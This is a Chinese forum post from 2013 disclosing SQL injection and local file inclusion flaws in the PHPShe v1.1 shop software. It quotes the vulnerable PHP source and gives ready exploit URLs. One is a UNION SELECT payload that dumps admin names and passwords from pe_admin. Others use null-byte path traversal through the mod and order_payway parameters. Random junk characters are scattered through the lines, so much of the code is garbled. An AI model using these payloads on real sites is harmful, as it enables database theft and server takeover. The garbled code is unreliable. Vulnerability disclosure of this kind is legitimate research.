找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2327|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
3 \' ^1 N( B5 t/* Phpshe v1.1 Vulnerability% `$ q$ Y  ^# _5 m7 H9 B
/* ========================# W- B. O- B6 o9 m6 e9 R
/* By: : Kn1f3
8 A: s2 }; T& S+ Q5 p* x9 \7 d/* E-Mail : 681796@qq.com
8 T. K7 y' a% p+ \/*******************************************************/* S0 q9 t9 C) z  O2 I5 s
0×00 整体大概参数传输
+ E% w% u/ Z7 h' [5 e8 k& J 5 y* }" E1 A/ r% v
5 x$ g3 {" k& V# v& h
6 Z% u: F( W) |. R. b) Q5 f0 d
//common.php
/ @3 K" u+ V* G2 ~7 T7 x. @if (get_magic_quotes_gpc()) {
7 ]% S" x2 ]) c: [!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');0 _9 _1 _, w' r4 h6 Z( Z/ K
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');$ q* d) n7 r! }
}
% C; U4 m( l* g) Oelse {
2 Q3 m* ], i' M$ j/ ?% F!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');: i& T7 Z1 f( h9 S* Q$ f
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');: [' O8 a" M) F* S: ~: U- @% o
}
; E2 K7 S- k, y7 Dsession_start();
1 S5 l8 w: Y5 x  ~. i" g8 k!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');3 q" O- Z, s+ O2 y
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');+ C2 T& b$ ?+ A# @1 s* y

; |0 n* X0 X! G! ~0×01 包含漏洞
; P' f& q0 z) K0 [ ( S  r% p( m( z( ]  i2 }
5 F( n# |0 l+ p; k4 u9 u: U  K
//首页文件# Y2 F/ f; V! H+ z  B
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% M$ H/ E- u4 Y4 [* sinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
7 N9 q* r3 b; spe_result();
- \" g/ _& k1 C( K?>
5 P' _$ x5 ~% ^4 S. X/ J7 t0 q//common 文件 第15行开始- D. r* Z* g4 s7 K
url路由配置6 ?$ n+ ]5 h9 @9 _4 ]
$module = $mod = $act = 'index';
; E- @& X3 M& w8 q5 P! f" L$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);; h) E6 ~5 \$ y* O( Z7 q( g' U
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
. O+ O- m2 V% N7 u# r$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
0 G3 W9 F7 K/ h8 P+ V//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00# L+ f% L" ]0 r* F& M9 [

( Q& g- C# `6 W: Q
1 c2 l) }; C# T: Q4 g# R, I, w
0×02 搜索注入
' J0 S. u" k1 E; C3 O7 V8 q 5 O1 s0 G: O/ Q& i' l0 Y
<code id="code2">

//product.php文件$ `4 J* s  I" m# w6 U' m- _
case 'list':; v0 u2 `! M: e# z
$category_id = intval($id);
" a# r3 H! X' P" Q7 S* e$info = $db->pe_select('category', array('category_id'=>$category_id));
5 p! Q3 l" d( y  q( m9 O+ G//搜索
2 ^* N1 e& W# ?4 u% A$sqlwhere = " and `product_state` = 1";
! S, Y/ J' j2 Y( k2 u/ a, Tpe_lead('hook/category.hook.php');( P! P7 c; n. k1 M
if ($category_id) {' z. G, }: _7 f& t3 I2 i8 G
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ A- L3 d" h4 L/ b1 A! t8 W}, v- ^, G2 {: q% D6 x
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
- F! U( z% ~4 Hif ($_g_orderby) {
' Y5 _; \( y! ^# }  k4 f5 l( c$orderby = explode('_', $_g_orderby);
2 X" l; c( R- e7 |6 Y8 ?6 ]+ L$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
  [! U1 U6 O4 ], X+ Z3 d, L}
. \" l7 I" e& H3 D3 b' }else {
' m1 K5 \# n) L/ Z  Y$sqlwhere .= " order by `product_id` desc";
( v$ Q3 W3 a# k  p5 K$ e8 V5 A}9 p  ~, m6 T7 a0 F3 k, s6 _; X8 N
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));/ \2 K2 t7 y; z, p: d: j: P
//热卖排行
" u0 J; F( N9 U! C5 u$product_hotlist = product_hotlist();
; Q" U( f4 z4 a# ]/ u) ]//当前路径% A& y: O3 ^) O
$nowpath = category_path($category_id);3 K! k$ B, d: n9 }8 k1 @* [. J
$seo = pe_seo($info['category_name']);
/ A( S! U0 O1 o: n- `" J" iinclude(pe_tpl('product_list.html'));
! R. ^: U& W1 L! N//跟进selectall函数库2 c% d) N) m. m2 u4 X
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())  j% \* x2 E/ s) {
{
+ t( `$ _3 E. `1 T//处理条件语句
2 U( A& E7 c# X6 `* G' M$sqlwhere = $this->_dowhere($where);. K  m! t6 z/ ^
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);. y' W* |' x1 @  e" Q& k  q
}" V+ a# Y/ U+ a' v8 ^  l
//exp4 L% E7 u+ k6 i1 O3 n
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
- `& n& F0 B7 |/ c7 q9 K% M# `) [! h

</code>
5 g$ R6 K8 c" J! ]* V( K% X ( ?- m' X# m8 p8 [* N! G0 O
0×03 包含漏洞2* ?7 x+ z( i9 K  \3 b
) m5 V" g& x% h4 T% c& t
<code id="code3">

//order.php

case 'pay':

% e& }& A+ t1 `  A% [& ]4 M
$order_id = pe_dbhold($_g_id);

' J+ `* q$ m6 K+ X* J
$cache_payway = cache::get('payway');


: ?- ^$ Y# E8 D$ u4 @" xforeach($cache_payway as $k => $v) {

/ ^1 H9 {' S$ Q4 x; h
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

7 A1 y6 C1 R6 R* O
if ($k == 'bank') {

, V7 V/ V* h6 t
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

4 o& ^7 t! s& N3 S/ ^3 P8 @
}

# F2 K  G$ Y' ^$ ^  d7 X( d
}


9 h6 \( `9 H; h6 J7 s* B0 }$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% W( G  }, [- [6 g% g
!$order['order_id'] && pe_error('订单号错误...');

3 ?+ Y; D: |" L* ~; j( X: J4 P
if (isset($_p_pesubmit)) {


3 r6 G: F% H7 w, J- p2 Zif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


4 t, _3 J: b9 \* f: ^$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

+ ?$ F2 l! }1 a8 _& V4 b
foreach ($info_list as $v) {


# i5 J: e( b4 r7 L6 L8 _$order['order_name'] .= "{$v['product_name']};";
8 Y! x3 u5 ?* ]

' z0 U, L$ q4 }* Y3 p8 l
}


( o0 s3 h* d" f, M  O9 vecho '正在为您连接支付网站,请稍后...';

% Y9 T+ L+ n+ l, B4 B2 U
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


/ u$ F7 p4 r. M2 @}//当一切准备好的时候就可以进行"鸡肋包含了"

& x/ ]: \4 w/ q
else {


7 i) @% t: W, hpe_error('支付错误...');

# n+ O# s# M: h5 a6 Z5 W2 X- [
}


& V6 w0 K' j1 H+ [  _; E  t$ n: {. K}

4 ^$ I) X! F: s" O0 X
$seo = pe_seo('选择支付方式');

. X1 c1 ?8 f1 q) s  J+ {1 r
include(pe_tpl('order_pay.html'));


% N1 V: ^$ B: e: i8 J* n" sbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
3 U1 _! h2 Z1 F$ Q

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表